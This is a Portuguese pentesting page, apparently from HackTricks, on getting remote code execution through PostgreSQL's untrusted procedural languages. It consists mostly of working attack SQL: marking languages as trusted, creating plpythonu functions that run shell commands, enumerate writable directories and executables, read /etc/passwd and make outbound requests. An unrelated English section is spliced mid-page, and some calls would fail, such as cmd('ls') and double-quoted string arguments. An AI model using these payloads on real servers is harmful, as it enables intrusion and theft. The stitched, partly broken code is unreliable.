## Linguagens do PostgreSQL O banco de dados PostgreSQL ao qual você obteve acesso pode ter diferentes **linguagens de script instaladas** que você pode abusar para **executar código arbitrário**. Você pode **fazê-las funcionar**: ```sql \dL * SELECT lanname,lanpltrusted,lanacl FROM pg_language; ``` A maioria das linguagens de script que você pode instalar no PostgreSQL tem **2 versões**: a **confiável** e a **não confiável**. A versão **não confiável** terá um nome **terminado em "u"** e será a versão que permitirá que você **execute código** e use outras funções interessantes. Estas são as linguagens que, se instaladas, são interessantes: * **plpythonu** * **plpython3u** * **plperlu** * **pljavaU** * **plrubyu** * ... (qualquer outra linguagem de programação usando uma versão insegura) {% hint style="warning" %} Se você descobrir que uma linguagem interessante está **instalada** mas **não confiável** pelo PostgreSQL (**`lanpltrusted`** é **`false`**), você pode tentar **confiar nela** com a seguinte linha para que nenhuma restrição seja aplicada pelo PostgreSQL: ```sql UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu'; # To check your permissions over the table pg_language SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language'; ``` {% endhint %} {% hint style="danger" %} Se você não vir um idioma, pode tentar carregá-lo com (**você precisa ser superadmin**): ``` CREATE EXTENSION plpythonu; CREATE EXTENSION plpython3u; CREATE EXTENSION plperlu; CREATE EXTENSION pljavaU; CREATE EXTENSION plrubyu; ``` {% endhint %} Observe que é possível compilar as versões seguras como "inseguras". Verifique [**isto**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) como exemplo. Portanto, sempre vale a pena tentar se você pode executar o código, mesmo que encontre apenas o **confiável** instalado. ## plpythonu/plpython3u {% tabs %} {% tab title="RCE" %} ```sql CREATE OR REPLACE FUNCTION exec (cmd text) RETURNS VARCHAR(65535) stable AS $$ import os return os.popen(cmd).read() #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {}) $$ LANGUAGE 'plpythonu'; SELECT cmd("ls"); #RCE with popen or execve ``` {% endtab %} {% tab title="Obter usuário do sistema operacional" %} ```sql CREATE OR REPLACE FUNCTION get_user (pkg text) RETURNS VARCHAR(65535) stable AS $$ import os return os.getlogin() $$ LANGUAGE 'plpythonu'; SELECT get_user(""); #Get user, para is useless ``` {% endtab %} {% tab title="Listar diretório" %} ```sql CREATE OR REPLACE FUNCTION lsdir (dir text) RETURNS VARCHAR(65535) stable AS $$ import json from os import walk files = next(walk(dir), (None, None, [])) return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535] $$ LANGUAGE 'plpythonu'; SELECT lsdir("/"); #List dir ``` {% endtab %} {% tab title="Encontrar pasta W" %} ```sql CREATE OR REPLACE FUNCTION findw (dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): writables = [] def find_writable(path): if not os.path.isdir(path): return if os.access(path, os.W_OK): writables.append(path) if not os.listdir(path): return else: for item in os.listdir(path): find_writable(os.path.join(path, item)) find_writable(path) return writables return ", ".join(my_find(dir)) $$ LANGUAGE 'plpythonu'; SELECT findw("/"); #Find Writable folders from a folder (recursively) ``` {% endtab %} {% tab title="Encontrar Arquivo" %} ```sql CREATE OR REPLACE FUNCTION find_file (exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find("/") b = [] for i in a: if exe_sea in os.path.basename(i): b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_file("psql"); #Find a file ``` {% endtab %} {% tab title="Encontrar executáveis" %} ```sql CREATE OR REPLACE FUNCTION findx (dir text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find(dir) b = [] for i in a: b.append(os.path.basename(i)) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT findx("/"); #Find an executables in folder (recursively) ``` {% endtab %} {% tab title="Encontrar exec por subs" %} ```sql CREATE OR REPLACE FUNCTION find_exe (exe_sea text) RETURNS VARCHAR(65535) stable AS $$ import os def my_find(path): executables = [] def find_executables(path): if not os.path.isdir(path) and os.access(path, os.X_OK): executables.append(path) if os.path.isdir(path): if not os.listdir(path): return else: for item in os.listdir(path): find_executables(os.path.join(path, item)) find_executables(path) return executables a = my_find("/") b = [] for i in a: if exe_sea in i: b.append(i) return ", ".join(b) $$ LANGUAGE 'plpythonu'; SELECT find_exe("psql"); #Find executable by susbstring ``` # RCE with PostgreSQL Languages PostgreSQL allows the creation of new languages that can be used to write stored procedures. This feature can be used to execute arbitrary code on the server. ## Creating a new language To create a new language, you need to be a superuser or have the `CREATE LANGUAGE` privilege. ```sql CREATE TRUSTED PROCEDURAL LANGUAGE 'plpythonu' HANDLER plpython_call_handler; ``` ## Writing a stored procedure Once the language is created, you can write a stored procedure in that language. ```sql CREATE OR REPLACE FUNCTION rce() RETURNS void AS $$ import os os.system('/usr/bin/id > /tmp/rce') $$ LANGUAGE plpythonu; ``` This stored procedure executes the `id` command and writes the output to `/tmp/rce`. ## Calling the stored procedure To call the stored procedure, you can use the `SELECT` statement. ```sql SELECT rce(); ``` This will execute the `rce` stored procedure and write the output to `/tmp/rce`. ## Cleaning up To remove the language, you can use the `DROP LANGUAGE` statement. ```sql DROP LANGUAGE plpythonu; ``` ## References - [PostgreSQL Documentation: CREATE LANGUAGE](https://www.postgresql.org/docs/current/sql-createlanguage.html) - [PostgreSQL Documentation: CREATE FUNCTION](https://www.postgresql.org/docs/current/sql-createfunction.html) ```sql CREATE OR REPLACE FUNCTION read (path text) RETURNS VARCHAR(65535) stable AS $$ import base64 encoded_string= base64.b64encode(open(path).read()) return encoded_string.decode('utf-8') return open(path).read() $$ LANGUAGE 'plpythonu'; select read('/etc/passwd'); #Read a file in b64 ``` {% endtab %} {% tab title="Obter permissões" %} ```sql CREATE OR REPLACE FUNCTION get_perms (path text) RETURNS VARCHAR(65535) stable AS $$ import os status = os.stat(path) perms = oct(status.st_mode)[-3:] return str(perms) $$ LANGUAGE 'plpythonu'; select get_perms("/etc/passwd"); # Get perms of file ``` {% endtab %} {% tab title="Requisição" %} ```sql CREATE OR REPLACE FUNCTION req2 (url text) RETURNS VARCHAR(65535) stable AS $$ import urllib r = urllib.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req2('https://google.com'); #Request using python2 CREATE OR REPLACE FUNCTION req3 (url text) RETURNS VARCHAR(65535) stable AS $$ from urllib import request r = request.urlopen(url) return r.read() $$ LANGUAGE 'plpythonu'; SELECT req3('https://google.com'); #Request using python3 ``` ## pgSQL Verifique a seguinte página: {% content-ref url="pl-pgsql-password-bruteforce.md" %} [pl-pgsql-password-bruteforce.md](pl-pgsql-password-bruteforce.md) {% endcontent-ref %} ## C Verifique a seguinte página: {% content-ref url="rce-with-postgresql-extensions.md" %} [rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md) {% endcontent-ref %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).